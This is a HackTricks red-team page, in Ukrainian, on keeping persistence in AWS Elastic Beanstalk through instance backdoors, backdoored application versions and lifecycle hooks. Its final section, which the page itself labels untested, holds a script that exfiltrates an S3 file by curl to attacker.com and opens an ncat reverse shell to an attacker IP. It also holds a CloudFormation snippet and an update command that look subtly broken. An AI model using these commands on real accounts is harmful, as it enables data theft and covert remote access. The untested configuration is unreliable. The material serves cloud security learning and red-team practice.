AWS - Elastic Beanstalk Persistence

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Elastic Beanstalk

Для отримання додаткової інформації перевірте:

pageAWS - Elastic Beanstalk Enum

Збереження в екземплярі

Для збереження постійності всередині облікового запису AWS може бути введений механізм постійності всередині екземпляра (cron job, ssh key...), щоб зловмисник міг отримати до нього доступ і вкрасти облікові дані ролі IAM з сервісу метаданих.

Задній прохід у версії

Зловмисник може внести задній прохід у код репозиторію S3, щоб завжди виконувався його задній прохід та очікуваний код.

Нова версія з заднім проходом

Замість зміни коду на фактичній версії, зловмисник може розгорнути нову версію додатка з заднім проходом.

Зловживання власними гуками життєвого циклу ресурсів

TODO: Тест

Elastic Beanstalk надає гуки життєвого циклу, які дозволяють виконувати власні скрипти під час надання та припинення екземпляра. Зловмисник може налаштувати гук життєвого циклу для періодичного виконання скрипта, який виводить дані або забезпечує доступ до облікового запису AWS.

bashCopy code# Attacker creates a script that exfiltrates data and maintains access
echo '#!/bin/bash
aws s3 cp s3://sensitive-data-bucket/data.csv /tmp/data.csv
gzip /tmp/data.csv
curl -X POST --data-binary "@/tmp/data.csv.gz" https://attacker.com/exfil
ncat -e /bin/bash --ssl attacker-ip 12345' > stealthy_lifecycle_hook.sh

# Attacker uploads the script to an S3 bucket
aws s3 cp stealthy_lifecycle_hook.sh s3://attacker-bucket/stealthy_lifecycle_hook.sh

# Attacker modifies the Elastic Beanstalk environment configuration to include the custom lifecycle hook
echo 'Resources:
AWSEBAutoScalingGroup:
Metadata:
AWS::ElasticBeanstalk::Ext:
TriggerConfiguration:
triggers:
- name: stealthy-lifecycle-hook
events:
- "autoscaling:EC2_INSTANCE_LAUNCH"
- "autoscaling:EC2_INSTANCE_TERMINATE"
target:
ref: "AWS::ElasticBeanstalk::Environment"
arn:
Fn::GetAtt:
- "AWS::ElasticBeanstalk::Environment"
- "Arn"
stealthyLifecycleHook:
Type: AWS::AutoScaling::LifecycleHook
Properties:
AutoScalingGroupName:
Ref: AWSEBAutoScalingGroup
LifecycleTransition: autoscaling:EC2_INSTANCE_LAUNCHING
NotificationTargetARN:
Ref: stealthy-lifecycle-hook
RoleARN:
Fn::GetAtt:
- AWSEBAutoScalingGroup
- Arn' > stealthy_lifecycle_hook.yaml

# Attacker applies the new environment configuration
aws elasticbeanstalk update-environment --environment-name my-env --option-settings Namespace="aws:elasticbeanstalk:customoption",OptionName="CustomConfigurationTemplate",Value="stealthy_lifecycle_hook.yaml"
Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Last updated